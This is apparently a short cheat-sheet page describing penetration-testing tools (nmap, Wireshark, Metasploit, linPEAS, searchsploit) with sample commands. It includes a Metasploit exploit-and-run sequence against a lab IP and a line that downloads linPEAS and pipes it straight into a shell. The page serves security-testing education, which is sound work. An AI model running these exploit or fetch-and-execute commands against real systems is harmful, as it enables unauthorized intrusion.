Interactive Security Toolkit & DB

Rapid network host discovery, open port enumeration, service version detection, OS fingerprinting, and automated vulnerability audits via NSE Lua scripts.

sudo apt-get install nmap -y
nmap -sC -sV -p- -T4 10.10.110.45

Capturing, inspecting, and manipulating raw HTTP/HTTPS and WebSocket traffic in real time between web client and backend API servers.

Proxy (Traffic interception), Repeater (Manual request crafting), Intruder (Parameter fuzzing), Sequencer (Entropy testing), Decoder, Extender.

Decodes hundreds of network protocols at frame level. Indispensable for packet forensics, analyzing malware beacons, and following unencrypted streams.

http.request.method == "POST"
tcp.flags.syn == 1 and tcp.flags.ack == 0
dns.flags.response == 1

Standardized platform for testing verified CVE proof-of-concept exploits, staging Meterpreter payloads, and auditing pivoting pathways in authorized labs.

msfconsole
search cve:2020-0796 type:exploit
use exploit/...
set RHOSTS 10.10.110.45; check; run

Searches for all possible local privilege escalation vectors on Linux, Windows, and macOS targets: misconfigured SUIDs, sudo rights, cronjobs, unquoted service paths, tokens, and kernel exploits.

# In-memory execution without touching disk
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
./linpeas.sh -a > /dev/shm/linpeas.txt

Performs ultra-fast offline queries against a local copy of the entire Exploit-DB repository directly from your terminal, without needing an active internet connection.

searchsploit apache 2.4.49
searchsploit -cve 2024-3094
searchsploit -m 48260  # Copy exploit PoC to current dir